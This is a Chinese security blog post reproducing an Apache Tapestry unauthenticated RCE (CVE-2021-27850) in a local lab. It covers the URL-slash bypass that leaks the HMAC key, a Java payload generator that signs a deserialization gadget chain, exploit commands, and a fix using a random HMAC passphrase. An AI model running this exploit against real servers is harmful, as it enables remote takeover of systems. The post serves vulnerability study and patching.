前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >tapestry 未授权远程命令执行漏洞复现

tapestry 未授权远程命令执行漏洞复现

作者头像
黑伞安全
发布2021-07-16 11:25:03
2.2K0
发布2021-07-16 11:25:03
举报
文章被收录于专栏:黑伞安全黑伞安全

全文共计1301个字,预计阅读时长10分钟

CVE-2021-27850 【https://github.com/kahla-sec/CVE-2021-27850_POC】

A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL. An attacker was able to download the file AppModule.class by requesting the URL http://localhost:8080/assets/something/services/AppModule.classwhich contains a HMAC secret key. The fix for that bug was a blacklist filter that checks if the URL ends with .class, .properties or .xml. Bypass: Unfortunately, the blacklist solution can simply be bypassed by appending a / at the end of the URL: http://localhost:8080/assets/something/services/AppModule.class/ The slash is stripped after the blacklist check and the file AppModule.class is loaded into the response. This class usually contains the HMAC secret key which is used to sign serialized Java objects. With the knowledge of that key an attacker can sign a Java gadget chain that leads to RCE (e.g. CommonsBeanUtils1 from ysoserial). Solution for this vulnerability: For Apache Tapestry 5.4.0 to 5.6.1, upgrade to 5.6.2 or later. For Apache Tapestry 5.7.0, upgrade to 5.7.1 or later.

可以得知,这个漏洞需要配合CVE-2019-0195去下载class文件然后得到HmacKey 从而RCE。

但是也可以看到其局限性,就是需要key是硬编码,如果是一些random的,则不能打

复现

影响版本

version: 5.4.0 to 5.6.1

环境搭建

根据改文章,输入

代码语言:javascript
复制
mvn archetype:generate -DarchetypeCatalog=http://tapestry.apache.org
# 如果上面的报错可以输入
mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate -DarchetypeCatalog=http://tapestry.apache.org

Getting Started - Apache Tapestry

我这里选用的是他自带的,quickstart

创建好项目之后,我们使用idea打开,修改一下里面的tapestry 版本为漏洞所在版本,这里我修改成了5.4.0

使用以下命令启动app,然后访问30001端口即可

代码语言:javascript
复制
mvn -Djetty.port=30001 jetty:run

漏洞复现

先把poc下下来,然后在linux进行编译

代码语言:javascript
复制
代码语言:javascript
复制
java -cp commons-codec-1.15/commons-codec-1.15.jar:. Exploit mrkaixin CommonsBeanutils1 "curl http://localhost:30001"

得到poc之后,我们通过其自带的form表单,来触发反序列化,在form表单中存在一个t:formdata 的属性,所以只需要替换成为Poc即可

发现他给的这个Exp是不能够打通的,通过查找原因偶然发现,这个思路好像在2019年的0CTF/TCTF就出现了。

他的POC打不通的原因是在于org\apache\tapestry\tapestry-core\5.4.5\tapestry-core-5.4.5.jar!\org\apache\tapestry5\corelib\components\Form.class#executeStoredActions

所以编写一个POC,详情见

代码语言:javascript
复制
代码语言:javascript
复制
import java.io.ObjectOutputStream;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org:tapestry:5.4.0 to 5.6.1"})
@Authors({Authors.Mrkaixin})
public class HmacKeyLeakRce extends PayloadRunner implements ObjectPayload<Object> {
    public static void main(final String[] args) throws Exception {
        String s = (String) new HmacKeyLeakRce().getObject(CommonsCollections1.class.getName(), args);
        System.out.println(s);
    }
    public String getObject(String gadgetsName, boolean needBase64, String... args) throws Exception {
        String key, command = null;
        if (args.length < 1) {
            throw new IllegalArgumentException("please add hmac key");
        }
        if (args.length < 2) {
            System.out.println("don't have command param,default: calc.exe");
            command = "calc.exe";
        }else{
            command = args[1];
        }
        key = args[0];
        Class clazz = Class.forName(gadgetsName);
        ObjectPayload gadgets = (ObjectPayload) clazz.newInstance();
        Object obj = gadgets.getObject(command);
        URLEncoder urlEncoder = new URLEncoderImpl();
        ClientDataEncoder cde = new ClientDataEncoderImpl(urlEncoder, key, null, null, null);
        ClientDataSink cds = cde.createSink();
        ObjectOutputStream oos = cds.getObjectOutputStream();
        oos.writeUTF("orich1");
        oos.writeBoolean(false);
        oos.writeObject(obj);
        return cds.getClientData();
    }
    @Override
    public Object getObject(String command) throws Exception {
        return getObject(command, null);
    }
    public Object getObject(String gadgetName, String... args) throws Exception {
        return getObject(gadgetName, true, args);
    }
}
代码语言:javascript
复制

弹一个计算器~

修复方法

升级版本,或者是在AppModule使用随机的hmacKey

代码语言:javascript
复制
代码语言:javascript
复制
configuration.add(SymbolConstants.HMAC_PASSPHRASE,
new BigInteger(130, new SecureRandom()).toString(32));
代码语言:javascript
复制
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-07-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 复现
    • 环境搭建
      • 漏洞复现
        • 修复方法
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档